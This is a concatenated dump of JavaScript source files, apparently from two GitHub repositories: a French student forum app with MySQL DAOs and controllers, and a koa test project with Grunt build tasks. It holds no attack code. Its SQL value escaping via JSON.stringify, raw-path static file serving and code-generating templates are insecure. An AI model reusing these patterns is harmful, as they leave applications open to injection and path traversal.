NEW_MESSAGE.save();
response.statusCode = 303;
response.setHeader("Location", `/discussion/${GET.id}`);
response.setHeader("Content-Encoding", "gzip");
const encoder = createGzip();
encoder.pipe(response);
encoder.end();
}
catch (error)
{
console.log(error);
response.statusCode = 303;
response.setHeader("Location", "/");
response.setHeader("Content-Encoding", "gzip");
const encoder = createGzip();
encoder.pipe(response);
encoder.end();
}
}
}
export { MessageController };
<file_sep>import { createRequire } from "module";
const require = createRequire(import.meta.url);
const mysql = require("mysql");
function escape(field)
{
if (typeof field === "string")
{
return "`" + field.replace(/[^\w]/g, "") + "`";
}
if (field instanceof Array)
{
return field.map(escape).join(", ");
}
throw new Error("Invalid field type");
}
function secure(value)
{
if (typeof value === "function")
{
throw new Error("Function used as value");
}
if (value == null)
{
return "NULL";
}
if (value instanceof Date)
{
return value.toISOString().substr(0, 19).replace("T", " ");;
}
if (value instanceof Array)
{
return value.map((subvalue) => secure(subvalue)).join(", ");
}
if (typeof value === "object")
{
throw new Error("Object used as value");
}
return JSON.stringify(value);
}
class Database
{
constructor(config)
{
this.pool = mysql.createPool(config);
}
query(query_string, values, fields)
{
return new Promise(
(accept, reject) =>
{
this.pool.getConnection(
(error, connection) =>
{
if (error)
{
reject(error);
}
else
{
query_string = query_string.replace(
/:(\w+)/g,
(label, key) =>
{
if (fields && fields.hasOwnProperty(key))
{
return escape(fields[key]);
}
if (values && values.hasOwnProperty(key))
{
return secure(values[key]);
}
return label;
}
);
connection.query(
query_string,
(error, results) =>
{
connection.release();
if (error)
{
reject(error);
}
else
{
accept(results);
}
}
);
}
}
);
}
);
}
};
export { Database };
<file_sep>import { promises as FileSystem } from "fs";
class Routing {
constructor() {
this.routes = [];
this.sourceFilePath = `./private/Resources/configuration/routing.json`;
}
async loadRoutingFile(path) {
if (path === undefined) {
path = this.sourceFilePath;
}
try {
const FILE_STATS = await FileSystem.stat(path);
if (!FILE_STATS.isFile()) {
throw new Error("Provided path for routing configuration file does not link to a file.");
}
const RAW_CONFIGURATION = await FileSystem.readFile(path, { encoding: "UTF-8" });
if (RAW_CONFIGURATION instanceof Buffer) {
throw new Error("TODO: Handle the case where a file returns a Buffer and not a string in Routing.ts.");
}
const PARSED_CONFIGURATION = JSON.parse(RAW_CONFIGURATION);
PARSED_CONFIGURATION.forEach((configuration) => {
this.routes.push({
name: configuration.name,
regexp: new RegExp(configuration.regexp),
pretty: configuration.pretty,
controller: configuration.controller,
action: configuration.action,
variables: configuration.variables
});
});
}
catch (e) {
console.log(e);
}
}
getRoutes() {
return this.routes;
}
}
export { Routing };
<file_sep>import { DatabaseService } from "../Service/Database.js";
import { Message } from "./Message.js";
import { User } from "./User.js";
import { WeakRefMap } from "../Service/WeakRefMap.js";
const CACHE = new WeakRefMap();
// DAO
class Discussion
{
static createFromData(data)
{
if (!data.id)
{
throw new Error("Invalid data");
}
let discussion = CACHE.get(data.id);
if (!discussion)
{
discussion = new this();
discussion.id = data.id;
discussion.creationDate = data.creation_date;
discussion.userId = data.user_id;
discussion.firstMessageId = data.first_message_id;
discussion.title = data.title;
//potential upgrade here
}
return discussion;
}
static async getById(id)
{
const RESULTS = await DatabaseService.query(
`
SELECT
*
FROM
discussions
WHERE
id = :id
LIMIT
1
`,
{
id: id
}
);
if (!RESULTS[0])
{
return null;
}
return this.createFromData(RESULTS[0]);
}
async save()
{
if (this.id)
{
await DatabaseService.query(
`
UPDATE
discussions
SET
user_id = :user_id,
first_message_id = :first_message_id,
title = :title
WHERE
id = :id
`,
{
id : this.id,
user_id : this.userId,
first_message_id : this.firstMessageId,
title : this.title
}
);
}
else
{
const RESULT = await DatabaseService.query(
`
INSERT INTO
discussions (user_id, first_message_id, title)
VALUES
(:user_id, :first_message_id, :title)
`,
{
user_id : this.userId,
first_message_id : this.firstMessageId,
title : this.title
}
);
this.id = RESULT.insertId;
}
}
getId()
{
return this.id;
}
getCreationDate()
{
return this.creationDate;
}
getUserId()
{
return this.userId;
}
setUserId(userId)
{
this.userId = userId;
}
async getUser()
{
const USER = await User.getById(this.userId);
return USER;
}
setUser(user)
{
if (!user.id)
{
throw new Error("User is not saved");
}
this.userId = user.id;
}
getFirstMessageId()
{
return this.firstMessageId;
}
setFirstMessageId(firstMessageId)
{
this.firstMessageId = firstMessageId;
}
async getFirstMessage()
{
const MESSAGE = await Message.getById(this.firstMessageId);
return MESSAGE;
}
setFirstMessage(message)
{
if (!message.id)
{
throw new Error("Message is not saved");
}
this.firstMessageId = message.id;
}
getTitle()
{
return this.title;
}
setTitle(title)
{
this.title = title;
}
async getMessages(sortFunction)
{
const RESULTS = await DatabaseService.query(
`
SELECT
*
FROM
messages
WHERE
discussion_id = :id
ORDER BY
id ASC
`,
{
id: this.id
}
);
if (!RESULTS.length)
{
return [];
}
const MESSAGES = RESULTS.map(
(data) =>
{
return Message.createFromData(data);
}
);
if (sortFunction)
{
const FIRST_MESSAGE = MESSAGES.shift();
MESSAGES.sort(sortFunction);
MESSAGES.unshift(FIRST_MESSAGE);
}
return MESSAGES;
}
static async getAll()
{
const RESULTS = await DatabaseService.query(
`
SELECT
*
FROM
discussions
ORDER BY
id DESC
LIMIT
50
`
);
if (!RESULTS.length)
{
return null;
}
const DISCUSSIONS = RESULTS.map(
(discussion) =>
{
return this.createFromData(discussion);
}
);
return DISCUSSIONS;
}
}
export { Discussion };
<file_sep>import { promises as FileSystem } from "fs";
import { basename } from "path";
class Templating {
constructor() {
this.publicDirectory = "";
const __DIRNAME__ = import.meta.url.replace(/^file:\/\/\/[A-Z]\:(.*)\/[^\/]+$/, "$1");
this.publicDirectory = `${__DIRNAME__}/../../../www`;
}
async render(path, parameters) {
const __DIRNAME__ = import.meta.url.replace(/^file:\/\/\/[A-Z]\:(.*)\/[^\/]+$/, "$1");
try {
const FULL_PATH = `${this.publicDirectory}/${path}`;
const FILE_STATS = await FileSystem.stat(FULL_PATH);
if (!FILE_STATS.isFile()) {
throw new Error(`Attempted to render path "${FULL_PATH}". Directory found.`);
}
const FILE = await FileSystem.readFile(FULL_PATH);
let template = FILE.toString();
if (parameters !== undefined) {
const PARAMETERS_NAMES = Object.keys(parameters);
for (let parameter of PARAMETERS_NAMES) {
const REGEXP = new RegExp(`{{${parameter}}}`);
template = template.replace(REGEXP, `\${parameter}`);
}
}
const LAYOUT = template.match(/{{layout: *([^}]+)}}/);
let layout = "";
if (LAYOUT !== null) {
layout = LAYOUT[1];
}
template = template.replace(/{{layout: *([^}]+)}}/, "");
template = template.replace(/{{include: *([^}]+)}}/g, "`;\r\nawait this.include('$1');\r\nthis.content += `");
template = template.replace(/{{const: *([^}]+)}}/g, "`;\r\nconst $1;\r\nthis.content += `");
template = template.replace(/{{let: *([^}]+)}}/g, "`;\r\nlet $1;\r\nthis.content += `");
template = template.replace(/{{for: *([^}]+)}}/g, "`;\r\nfor ($1)\r\n{\r\nthis.content += `");
template = template.replace(/{{endfor}}/g, "`;\r\n}\r\nthis.content += `");
template = template.replace(/{{if: *([^}]+)}}/g, "`;\r\nif ($1)\r\n{\r\nthis.content += `");
template = template.replace(/{{else if: *([^}]+)}}/g, "`;\r\n}\r\nelse if ($1) {\r\nthis.content += `");
template = template.replace(/{{else}}/g, "`;\r\n}\r\nelse\r\n{\r\nthis.content += `");
template = template.replace(/{{endif}}/g, "`;\r\n}\r\nthis.content += `");
template = template.replace(/{{([^}]+)}}/g, "${$1}");
template = `import { View as AbstractView } from "${__DIRNAME__}/View.js";
class View extends AbstractView
{
constructor(parameters)
{
super(parameters);
this.layout = '${layout}';
}
async render()
{
this.content = \`${template}\`;
return this.content;
}
}
export { View };`;
const FILENAME = basename(path);
const SAVE_PATH = path.replace(new RegExp(`/?${FILENAME}`), "");
const DESTINATION_DIRECTORY = `${__DIRNAME__}/../../cache/${SAVE_PATH}`;
await FileSystem.mkdir(DESTINATION_DIRECTORY, { recursive: true });
const FULL_FILE_PATH = `${DESTINATION_DIRECTORY}/${FILENAME}.mjs`;
await FileSystem.writeFile(FULL_FILE_PATH, template);
const { View } = await import(FULL_FILE_PATH);
const VIEW = new View(parameters);
await VIEW.render();
await VIEW.build();
const CONTENT = VIEW.getContent();
return CONTENT;
}
catch (e) {
console.log("------------------------------------------");
console.log(e);
console.log(`Attempted to render path "${path}". File not found.`);
console.log("------------------------------------------");
return null;
}
}
}
export { Templating };
<file_sep>import { DatabaseService } from "../Service/Database.js";
import { Discussion } from "./Discussion.js";
import { User } from "./User.js";
import { WeakRefMap } from "../Service/WeakRefMap.js";
const CACHE = new WeakRefMap();
// DAO
class Message
{
static createFromData(data)
{
if (!data.id)
{
throw new Error("Invalid data");
}
let message = CACHE.get(data.id);
if (!message)
{
message = new this();
message.id = data.id;
message.creationDate = data.creation_date;
message.userId = data.user_id;
message.discussionId = data.discussion_id;
message.content = data.content;
}
return message;
}
static async getById(id)
{
const RESULTS = await DatabaseService.query(
`
SELECT
*
FROM
messages
WHERE
id = :id
LIMIT
1
`,
{
id: id
}
);
if (!RESULTS[0])
{
return null;
}
return this.createFromData(RESULTS[0]);
}
async getDiscussion()
{
const DISCUSSION = await Discussion.getById(this.discussionId);
return DISCUSSION;
}
async save()
{
if (this.id)
{
await DatabaseService.query(
`
UPDATE
messages
SET
user_id = :user_id,
discussion_id = :discussion_id,
content = :content
WHERE
id = :id
`,
{
id : this.id,
user_id : this.userId,
discussion_id : this.discussionId,
content : this.content
}
);
}
else
{
const RESULT = await DatabaseService.query(
`
INSERT INTO
messages (user_id, discussion_id, content)
VALUES
(:user_id, :discussion_id, :content)
`,
{
user_id : this.userId,
discussion_id : this.discussionId,
content : this.content
}
);
this.id = RESULT.insertId;
}
}
getId()
{
return this.id;
}
getCreationDate()
{
return this.creationDate;
}
getUserId()
{
return this.userId;
}
setUserId(userId)
{
this.userId = userId;
}
async getUser()
{
const USER = await User.getById(this.userId);
return USER;
}
setUser(user)
{
if (!user.id)
{
throw new Error("User is not saved");
}
this.userId = user.id;
}
getDiscussionId()
{
return this.discussionId;
}
setDiscussionId(discussionId)
{
this.discussionId = discussionId;
}
async getDiscussion()
{
const DISCUSSION = await Discussion.getById(this.discussionId);
return DISCUSSION;
}
setDiscussion(discussion)
{
if (!discussion.id)
{
throw new Error("Discussion is not saved");
}
this.discussionId = discussion.id;
}
getContent()
{
return this.content;
}
setContent(content)
{
this.content = content;
}
}
export { Message };
<file_sep>import { Server } from "./Model/Server.js";
import { promises as Reader } from "fs";
async function initialize() {
const __DIRNAME__ = import.meta.url.replace(/^file:\/\/\/[A-Z]\:(.*)\/[^\/]+$/, "$1");
console.log(__DIRNAME__);
console.log("----------------");
let key = await Reader.readFile(`${__DIRNAME__}/../../private/Resources/privateKey.key`);
let cert = await Reader.readFile(`${__DIRNAME__}/../../private/Resources/certificate.crt`);
let options = {
key: key,
cert: cert
};
const SERVER = new Server(options, undefined);
SERVER.addListener("request", SERVER.handleRequest);
SERVER.start();
}
initialize();
<file_sep>import { createGzip } from "zlib";
import { Controller } from "../Model/Controller.js";
import { Templating } from "../Model/Templating.js";
import { Session as SessionService } from "../Service/Session.js";
import { Discussion } from "../DataModel/Discussion.js";
import { User } from "../DataModel/User.js";
class TimelineController extends Controller
{
constructor()
{
super();
}
async timelineAction(request, response)
{
SessionService.getSession(request, response);
const TEMPLATING = new Templating();
// Limité à 50 (DiscussionController l.227)
const DISCUSSIONS = await Discussion.getAll();
let content = await TEMPLATING.render(`timeline.html`, {discussions: DISCUSSIONS});
response.setHeader("Content-Type", "text/html");
response.setHeader("Content-Encoding", "gzip");
const encoder = createGzip();
encoder.pipe(response);
encoder.write(content);
encoder.end();
}
}
export { TimelineController };
<file_sep>Une fois téléchargée, l’application se lance avec npm start.
port utilisé : 127.0.0.1.
https://github.com/Shigwen/OCR-Project-7
Vous trouverez la base de donnée utilisé comme exemple pour ce projet dans groupomania_social_network.sql
Notez que je n'ai compris que trop tard que les fichiers .gitignore doivent être présents avant le premier upload sur github.
Du coup, vous vous retrouvez sur github avec les node modules (bon, ça vous évite un npm install).
N'hésitez pas à me contacter si vous avez des soucis avec l'application.
Notez que le serveur ferme tout seul s'il n'est pas utilisé pendant une certaines durée,
et que vous serez automatiquement déconnecté de votre session utilisateur au bout de 5 minutes quoi qu'il arrive -
ce qui vous ramènera à l'index à la moindre action.
<file_sep>import { createGzip } from "zlib";
import { Controller } from "../Model/Controller.js";
import { Templating } from "../Model/Templating.js";
import { Session as SessionService } from "../Service/Session.js";
import { Authentication as AuthenticationService } from "../Service/Authentication.js";
import { Discussion } from "../DataModel/Discussion.js";
import { Message } from "../DataModel/Message.js";
class DiscussionController extends Controller
{
constructor()
{
super();
}
async newAction(request, response)
{
try
{
const SESSION = SessionService.getSession(request, response);
const IS_LOGGED = AuthenticationService.checkUser(SESSION, response);
if (!IS_LOGGED)
{
return;
}
const TEMPLATING = new Templating();
let content = await TEMPLATING.render(`new_discussion.html`);
response.setHeader("Content-Type", "text/html");
response.setHeader("Content-Encoding", "gzip");
const encoder = createGzip();
encoder.pipe(response);
encoder.write(content);
encoder.end();
}
catch (error)
{
console.log(error);
response.statusCode = 303;
response.setHeader("Location", "/");
response.setHeader("Content-Encoding", "gzip");
const encoder = createGzip();
encoder.pipe(response);
encoder.end();
}
}
async showAction(request, response)
{
try
{
const SESSION = SessionService.getSession(request, response);
const IS_LOGGED = AuthenticationService.checkUser(SESSION, response);
if (!IS_LOGGED)
{
return;
}
// Contiendra les variables de la route dans routing.json, ici id
const GET = request.getQuery();
// const DISCUSSION = await Discussion.getById(GET.id);
const DISCUSSION = await Discussion.getById(GET.id);
if (!DISCUSSION)
{
return;
}
const TITLE = await DISCUSSION.getTitle();
const MESSAGES = await DISCUSSION.getMessages();
// On peut déterminer ici l'ordre dans lequel les messages seront affichés, le premier message étant toujours en haut
/*
const MESSAGES = await DISCUSSION.getMessages(
(a, b) =>
{
return b.getCreationDate() - a.getCreationDate();
}
);
*/
/*
const MESSAGES = await DISCUSSION.getMessages(
(a, b) =>
{
return b.getUpvote() - a.getUpvote();
}
);
*/
const TEMPLATING = new Templating();
let content = await TEMPLATING.render(`discussion.html`, {messages: MESSAGES, title: TITLE, id: GET.id});
response.setHeader("Content-Type", "text/html");
response.setHeader("Content-Encoding", "gzip");
const encoder = createGzip();
encoder.pipe(response);
encoder.write(content);
encoder.end();
}
catch (error)
{
console.log(error);
response.statusCode = 303;
response.setHeader("Location", "/");
response.setHeader("Content-Encoding", "gzip");
const encoder = createGzip();
encoder.pipe(response);
encoder.end();
}
}
async postAction(request, response)
{
try
{
const SESSION = SessionService.getSession(request, response);
const IS_LOGGED = AuthenticationService.checkUser(SESSION, response);
if (!IS_LOGGED)
{
return;
}
const POST = request.getRequest();
const USER_ID = SESSION.get("userId");
const NEW_DISCUSSION = new Discussion();
NEW_DISCUSSION.setUserId(USER_ID);
NEW_DISCUSSION.setFirstMessageId(null);
NEW_DISCUSSION.setTitle(POST.title);
await NEW_DISCUSSION.save();
const NEW_DISCUSSION_ID = NEW_DISCUSSION.getId();
const NEW_MESSAGE = new Message();
NEW_MESSAGE.setUserId(USER_ID);
NEW_MESSAGE.setDiscussionId(NEW_DISCUSSION_ID);
NEW_MESSAGE.setContent(POST.content);
await NEW_MESSAGE.save();
NEW_DISCUSSION.setFirstMessageId(NEW_MESSAGE.getId());
await NEW_DISCUSSION.save();
response.statusCode = 303;
response.setHeader("Location", "/timeline");
response.setHeader("Content-Encoding", "gzip");
const encoder = createGzip();
encoder.pipe(response);
encoder.end();
}
catch (error)
{
console.log(error);
response.statusCode = 303;
response.setHeader("Location", "/");
response.setHeader("Content-Encoding", "gzip");
const encoder = createGzip();
encoder.pipe(response);
encoder.end();
}
}
}
export { DiscussionController };
<file_sep>import { Server as HTTPSServer } from "https";
import { Request } from "./Request.js";
import { Routing } from "./Routing.js";
import { promises as FileSystem } from "fs";
class Server extends HTTPSServer {
constructor(options, listener) {
super(options, listener);
this.port = 443;
}
handleRequest(message, response) {
let request = new Request(message);
let body = "";
message.addListener("data", (chunk) => {
body += chunk.toString("binary");
});
message.addListener("end", async () => {
await request.setRawBody(body);
try {
await this.dispatchRequest(request, response);
}
catch (e) {
console.log("Custom error:", e);
response.statusCode = 404;
response.end("404 - Not found.");
}
});
}
start() {
this.listen(this.port);
}
async dispatchRequest(request, response) {
const __DIRNAME__ = import.meta.url.replace(/^file:\/\/\/[A-Z]\:(.*)\/[^\/]+$/, "$1");
const ROUTER = new Routing();
await ROUTER.loadRoutingFile();
const ROUTES = ROUTER.getRoutes();
let controller_name;
let action_name;
await Promise.all(ROUTES.map(async (route) => {
const MATCHES = request.getRequestedPath().match(route.regexp);
if (MATCHES !== null) {
const QUERY = {};
const KEYS = Object.keys(route.variables);
await Promise.all(KEYS.map((name) => {
const VARIABLE_REFERENCE = route.variables[name];
if (VARIABLE_REFERENCE.match(/^\$[0-9]+$/) === null) {
}
const INDEX = parseInt(VARIABLE_REFERENCE.substring(1));
if (MATCHES[INDEX] === undefined || MATCHES[INDEX] === null) {
}
QUERY[name] = MATCHES[INDEX];
}));
request.setQuery(QUERY);
controller_name = `${route.controller}Controller`;
action_name = `${route.action}Action`;
}
}));
if (controller_name === undefined || action_name === undefined) {
const PUBLIC_PATH = `${__DIRNAME__}/../../../www`;
try {
const POSSIBLE_FILE = await FileSystem.stat(`${PUBLIC_PATH}/${request.getRequestedPath()}`);
if (!POSSIBLE_FILE.isFile()) {
throw new Error("Requested file does not exist");
}
const FILE = await FileSystem.readFile(`${PUBLIC_PATH}/${request.getRequestedPath()}`);
response.write(FILE);
response.end();
}
catch (e) {
throw new Error("Requested file does not exist");
}
}
else {
try {
const CLASS_PATH = `${__DIRNAME__}/../Controller/${controller_name}.js`;
const FILE_STATS = await FileSystem.stat(CLASS_PATH);
if (!FILE_STATS.isFile()) {
throw new Error("The requested controller is not a file.");
}
const REQUESTED_CONTROLLER_CLASS = await import(CLASS_PATH);
const REQUESTED_CONTROLLER = new REQUESTED_CONTROLLER_CLASS[controller_name];
if (REQUESTED_CONTROLLER[action_name] !== undefined && REQUESTED_CONTROLLER[action_name] instanceof Function) {
await REQUESTED_CONTROLLER[action_name](request, response);
}
else {
}
}
catch (e) {
console.log(e);
}
}
}
}
export { Server };
<file_sep>
class Authentication
{
static checkUser(session, response)
{
if (session.has("userId"))
{
return true;
}
else
{
response.statusCode = 307;
response.setHeader("Location", "/");
response.end();
return false;
}
}
}
export { Authentication };
| a3f62a9c867ffe8866e1b9d9d38e5220eb4b5fbe | [
"JavaScript",
"SQL",
"Text",
"HTML"
] | 19 | JavaScript | Shigwen/OCR-Project-7 | ee23dae92c6bbaf26080dbff37c8e091624a6931 | 772edaa7a2cb8ffdcb93497ecce45f02edf97a27 | |
refs/heads/master | <repo_name>chenboxiang/koa-test<file_sep>/build/task/version.js
/**
* 1. 生成带版本号的资源
* 2. 修改需要引用这些资源的文件中引用的资源链接
*
* Author: chenboxiang
* Date: 14-5-25
* Time: 下午5:42
*/
'use strict';
module.exports = function(grunt) {
var path = require('path');
var glob = require('glob');
var crypto = require('crypto');
var util = require('util');
var fs = require('fs');
/**
* 将str中的正则元字符转义
* @param str
* @returns {*|XML|string|void}
*/
function quoteRegExp(str) {
return str.replace(/([.?*+^$[\]\\(){}|-])/g, '\\$1');
};
/**
* 参数
* resources: 资源文件,也就是需要被计算签名的文件对象
* 对象结构
* {
* // 就是glob的cwd option
* // 这个对匹配出来的路径会有影响,此处匹配出来的路径会作为替换refs文件内容的字符串
* cwd:
* // glob pattern
* pattern:
* }
* refs: 引用资源文件的文件
*/
grunt.registerMultiTask('version', function() {
var resources = this.data.resources;
if (!resources) {
grunt.fail.fatal('the property "resources" is empty');
return;
}
if (!Array.isArray(resources)) {
resources = [resources];
}
var refs = this.data.refs;
if (!refs) {
grunt.fail.fatal('the property "refs" is empty');
return;
}
if (!Array.isArray(refs)) {
refs = [refs];
}
// --------- parse files
var resFiles = [];
resources.forEach(function(o) {
var files = glob.sync(o.pattern, {
cwd: o.cwd
})
resFiles.push({
files: files,
cwd: o.cwd
})
});
grunt.verbose.ok('resources: ' + JSON.stringify(resFiles, null, 4));
var refFiles = [];
refs.forEach(function(o) {
var files = glob.sync(o.pattern, {
cwd: o.cwd
})
refFiles.push({
files: files,
cwd: o.cwd
})
});
grunt.verbose.ok('refs: ' + JSON.stringify(resFiles, null, 4));
// ---------- generate digest resources
var resMap = {};
resFiles.forEach(function(o) {
var files = o.files;
var cwd = o.cwd;
if (files) {
files.forEach(function(file) {
// 二进制数据
var data = fs.readFileSync(path.join(cwd, file));
// count digest
var digest = crypto.createHash('sha1').update(data).digest('hex');
var extname = path.extname(file);
var targetFile = util.format('%s/%s.%s%s',
path.dirname(file), path.basename(file, extname), digest, extname);
resMap[file] = targetFile;
fs.writeFileSync(path.join(cwd, targetFile), data);
})
}
})
grunt.log.ok('resources generate completed. resource map: ' + JSON.stringify(resMap, null, 4));
// ---------- replace ref files reference
refFiles.forEach(function(o) {
var files = o.files;
var cwd = o.cwd;
if (files) {
files.forEach(function(file) {
var absolutePath = path.join(cwd, file);
// 文本数据
var data = grunt.file.read(absolutePath);
Object.keys(resMap).forEach(function(origin) {
var target = resMap[origin];
data = data.replace(new RegExp(quoteRegExp(origin), 'g'), target);
})
// 回写
grunt.file.write(absolutePath, data);
})
}
})
grunt.log.ok('refs replace completed.');
})
}<file_sep>/model/user.js
/**
* Author: chenboxiang
* Date: 14-1-29
* Time: 下午8:37
*/
'use strict';
var db = require('koa-db');
module.exports = db.defineModel('user', {
email: {
validation: ['notEmpty', 'email']
},
emailChecked: {}
});<file_sep>/cluster_test/worker_pm.js
/**
* Author: chenboxiang
* Date: 14-5-2
* Time: 下午8:03
*/
'use strict';
var http = require('http');
var koa = require('koa');
var config = require('./config/' + (process.env.NODE_ENV || 'development'));
var logger = require('tracer').console(config.log);
var middlewares = require('koa-middlewares');
var pm = require('pm');
var app = new koa();
//session
var redisStore = new middlewares.redisStore(config.session.redisStore);
redisStore.on('connect', function() {
logger.info('Redis store is connected!');
})
redisStore.on('disconnect', function() {
logger.error('Redis store is disconnected!');
})
app.use(middlewares.session({
store: redisStore,
cookie: config.session.cookie
}))
app.use(function* hello() {
this.body = 'hello world';
})
var server = http.createServer(function() {
logger.info('handled by child, pid is ' + process.pid);
app.callback().apply(this, arguments);
});
var worker = pm.createWorker({
'terminate_timeout': 15000
});
worker.ready(function(socket, port) {
server.emit('connection', socket);
})<file_sep>/routes.js
/**
* Author: chenboxiang
* Date: 14-5-4
* Time: 下午1:42
*/
'use strict';
var _s = require('underscore.string');
var utils = require('./lib/utils');
var path = require('path');
var logger = G.logger;
module.exports = function(app) {
// filters
// controllers
var paths = utils.getFilePathsSync(path.join(__dirname, 'controller'), function(p, stats) {
return _s.endsWith(p, '.js') && stats.isFile();
});
logger.info('controllers:\n', paths.join('\n '));
paths.forEach(function(path) {
require(path)(app);
});
}<file_sep>/static/dist/js/seajs_config.js
/**
* Author: chenboxiang
* Date: 14-3-27
* Time: 下午8:19
*/
seajs.config({
alias: {
}
})
;seajs.config({
"map": [
[
"/js/business/hw",
"/js/business/hw?c73a189185d167eef531267e15da25d9b17e1347"
],
[
"/js/business/hw1",
"/js/business/hw1?56e6789c49ed36eb5279514ad181ce4f922dd8c4"
]
]
})<file_sep>/co_test/co_test.js
/**
* Author: chenboxiang
* Date: 14-4-22
* Time: 上午10:16
*/
'use strict';
//var co = require('co');
//
//co(function *() {
// yield function *() {
// req + 'hi'; // ReferenceError: req is not defined
// return req;
// }
//})(function(err) {
// console.log(err); // if I remove throw err, it will log [ReferenceError: req is not defined]
// console.log('hi');
// throw err;
//});
//co(function *() {
// req + 'hi';
//})(function(err) {
// throw err; // properly throws
//});
var co = require('co');
var fs = require('fs');
function size(file) {
return function(fn){
fs.stat(file, function(err, stat){
if (err) return fn(err);
fn(null, stat.size);
});
}
}
co(function *(){
var a = size('app.js');
var b = size('co_test.js');
var c = size('generator_test.js');
var res = yield [a, b, c];
console.log(res);
// => [ 13, 1687, 129 ]
return res;
})(function() {
console.log(arguments);
})<file_sep>/worker.js
/**
* Author: chenboxiang
* Date: 14-5-4
* Time: 下午12:46
*/
'use strict';
var graceful = require('graceful');
var pm = require('pm');
var http = require('http');
var config = require('./config/' + (process.env.NODE_ENV || 'development'));
var logger = require('tracer').console(config.log);
var worker = pm.createWorker({
'terminate_timeout': 5000
});
var killTimeout = 10000;
var app = require('./app');
app.on('ready', function() {
var server = http.createServer(app.callback());
// hack for pm, because server._handle is empty.
server.close = function () {};
graceful({
server: server,
worker: worker,
error: function (err) {
logger.error('[worker:%s] error: %s', process.pid, err.stack);
},
killTimeout: killTimeout
});
worker.ready(function (socket, port) {
server.emit('connection', socket);
});
})
app.on('startError', function(err) {
logger.error('[worker:%s] error on start: %s', process.pid, err.stack);
worker.disconnect();
// make sure we close down within `killTimeout` seconds
var killTimer = setTimeout(function () {
logger.info('[worker:%s] kill timeout, exit now.', process.pid);
process.exit(1);
}, killTimeout);
// But don't keep the process open just for that!
// If there is no more io waiting, just let process exit normally.
if (typeof killTimer.unref === 'function') {
// only worked on node 0.10+
killTimer.unref();
}
})<file_sep>/middleware/ejs.js
/**
* Author: chenboxiang
* Date: 14-4-20
* Time: 下午12:18
*/
'use strict';
var _ = require('lodash');
var _s = require('underscore.string');
var fs = require('co-fs');
var path = require('path');
var ejs = require('ejs-remix');
var defaultConfig = {
cache: false,
compileOptions: {
compileDebug: false,
debug: false,
escape: function(html) {
if (!html) {
return "";
}
return String(html)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"');
}
},
// 去多余空白符
strip: true,
ext: '.ejs',
// default global property
locals: {}
}
// template cache
var cache = {}
/**
* response the html to browser
* @param {Object} ctx koa context
* @param {String} html
*/
function response(ctx, html) {
ctx.type = 'html';
ctx.length = html.length;
ctx.body = html;
}
module.exports = function(app, config) {
config = _.extend({}, defaultConfig, config);
if (!config.root) {
throw new Error('config.root is required');
}
if (config.strip) {
var parse = ejs.parse;
ejs.parse = function(str, options) {
str = str.replace(/(<\/?[^<>]+>)\s+/g, '$1');
return parse.apply(this, [str, options]);
}
}
if (config.ext.charAt(0) !== '.') {
config.ext = "." + config.ext;
}
app.context.render = function *(view, options) {
options = _.extend({}, config.locals, options);
if (!_s.endsWith(view, config.ext)) {
view += config.ext;
}
var template = cache[view];
if (!template) {
var absolutePath = path.join(config.root, view);
var fileData = yield fs.readFile(absolutePath, {encoding: 'utf8'});
template = ejs.compile(fileData, _.extend({filename: absolutePath}, config.compileOptions));
if (config.cache) {
cache[view] = template;
}
}
var html = template.call(options.scope, options);
response(this, html);
}
}<file_sep>/static/js/business/hw1.js
/**
* Author: chenboxiang
* Date: 14-3-26
* Time: 下午3:24
*/
define(function(require, exports, module) {
"use strict";
var hw = require("./hw");
module.exports = function() {
hw();
console.log("hello world 1");
}
})<file_sep>/dispatch.js
/**
* Author: chenboxiang
* Date: 14-5-4
* Time: 下午12:43
*/
'use strict';
var config = require('./config/' + (process.env.NODE_ENV || 'development'));
var pm = require('pm');
var logger = require('tracer').console(config.log);
var master = pm.createMaster();
master.on('giveup', function(name, fatals, pause) {
logger.info('[master:%s] giveup to restart "%s" process after %d times. pm will try after %d ms.',
process.pid, name, fatals, pause);
});
master.on('disconnect', function(name, pid) {
logger.error('[master:%s] worker:%s disconnect!',
process.pid, pid);
});
master.on('fork', function(name, pid) {
logger.info('[master:%s] new %s:worker:%s fork',
process.pid, name, pid);
});
master.on('quit', function(name, pid, code, signal) {
logger.info('[master:%s] %s:worker:%s quit, code: %s, signal: %s',
process.pid, name, pid, code, signal);
});
master.register('web', __dirname + '/worker.js', {
listen: config.port
});
master.dispatch();
if (module.parent) module.exports = master;<file_sep>/Gruntfile.js
'use strict';
var config = require('./build/config/' + (process.env.NODE_ENV || 'development'));
var path = require('path');
module.exports = function(grunt) {
// 项目配置
grunt.initConfig({
pkg: grunt.file.readJSON('package.json'),
less: {
options: {
strictMath: true,
modifyVars: config.lessModifyVars
},
production: {
files: [
{
expand: true, // Enable dynamic expansion.
cwd: 'static/less/', // Src matches are relative to this path.
src: ['**/*.less', '!base/*', 'base/index.less'], // Actual pattern(s) to match.
dest: 'static/dist/css/', // Destination path prefix.
ext: '.css' // Dest filepaths will have this extension.
}
]
},
development: {
files: [
{
expand: true, // Enable dynamic expansion.
cwd: 'static/less/', // Src matches are relative to this path.
src: ['**/*.less', '!base/*', 'base/index.less'], // Actual pattern(s) to match.
dest: 'static/css/', // Destination path prefix.
ext: '.css' // Dest filepaths will have this extension.
}
]
}
},
watch: {
less: {
files: ['static/less/**/*.less'],
tasks: ['less:development']
}
},
clean: {
js: ['.tmp*'],
build: ['static/dist']
},
// seajs transport
transport: {
js: {
options: {
paths: ['static/js/'],
idleading: '/js/'
},
files: [
{
expand: true,
cwd: 'static/js/',
src: ['**/*.js', '!seajs_config.js'],
filter: function(path) {
return path.indexOf('sea-modules') < 0;
},
dest: '.tmp1'
}
]
}
},
// seajs concat
concat: {
cmd: {
options: {
include: 'relative'
},
files: [
{
expand: true,
cwd: '.tmp1',
src: ['**/*.js'],
filter: function(filepath) {
return !/-debug\.js$/.test(filepath);
},
dest: '.tmp2'
}
]
}
},
uglify: {
js: {
files: [
{
expand: true,
cwd: '.tmp2',
src: '**/*.js',
dest: 'static/dist/js'
}
]
}
},
// 生成seajs config文件
seajsConfig: {
config: {
options: {
src: 'static/js/seajs_config.js',
dest: 'static/dist/js/seajs_config.js'
},
files: [
{
expand: true,
cwd: 'static/dist/js/',
src: ['**/*.js', '!seajs_config.js'],
filter: function(path) {
return path.indexOf('sea-modules') < 0;
}
}
]
}
},
copy: {
main: {
expand: true,
cwd: 'static/',
